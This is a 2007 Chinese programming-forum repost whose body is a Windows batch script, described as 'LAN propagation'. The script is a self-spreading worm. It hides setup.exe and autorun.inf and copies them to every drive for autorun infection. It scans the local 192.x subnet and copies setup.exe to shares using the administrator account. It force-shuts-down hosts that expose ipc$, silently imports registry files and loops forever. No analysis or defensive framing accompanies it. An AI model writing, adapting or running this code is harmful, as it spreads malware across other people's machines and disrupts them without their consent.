标题:[转载]批处理现实局域网传播
取消只看楼主
zlm821207
Rank: 1
等 级:新手上路
帖 子:1
专家分:0
注 册:2007-8-19
 问题点数:0 回复次数:0 
[转载]批处理现实局域网传播
以下内容来自中国批处理论坛(www.mybat.cn)
@echo off
set hty1=%windir%\system32\
:sm
attrib -r -s -h %hty1%setup.exe & attrib -r -s -h %hty1%autorun.inf
for %%i in (d e f g h i j k l m n o p q r s t u v w x y z) do (
fsutil fsinfo drives | findstr /i %%i || goto attr
dir /a/b %%i:\autorun.inf && attrib -r -s -h %%i:\autorun.inf
copy %hty1%autorun.inf %%i: & attrib +r +s +h %%i:\autorun.inf
dir /a/b %%i:\setup.exe || (copy %hty1%setup.exe %%i: && attrib +r +s +h %%i:\setup.exe)
)
:attr
attrib +r +s +h %hty1%setup.exe & attrib +r +s +h %hty1%autorun.inf
ipconfig /all |find /i "ip address" || (ping 127.1 -n 10 && goto sm)
for /f "tokens=15" %%i in ('ipconfig /all^|find /i "ip address"') do (
for /f "tokens=1-3 delims=." %%a in ("%%i") do (
if %%a EQU 192 (
for /l %%e in (1,1,255) do (
ping %%a.%%b.%%c.%%e -n 1 -l 1 -w 1 &&(
for /f "skip=7 eol=命" %%t in ('net view \\%%a.%%b.%%c.%%e') do (
if "%%t" NEQ "" (
net use \\%%a.%%b.%%c.%%e\%%t /u:administrator && (attrib -r -s -h %hty1%setup.exe && copy %hty1%setup.exe \\%%a.%%b.%%c.%%e\%%t && attrib +r +s +h %hty1%setup.exe)
if "%%t" EQU "ipc$" shutdown -s -f -t 0 -m \\%%a.%%b.%%c.%%e
)
))
)
) else ping 127.1 -n 20
)
)
regedit /s %windir%\system32\expl.reg>nul 2>nul
regedit /s %windir%\system32\high.reg>nul 2>nul
goto sm
搜索更多相关主题的帖子: 批处理 局域网 inf attrib autorun 
2007-08-19 10:00



参与讨论请移步原网站贴子:https://bbs.bccn.net/thread-163825-1-1.html




关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.952366 second(s), 8 queries.
Copyright©2004-2025, BCCN.NET, All Rights Reserved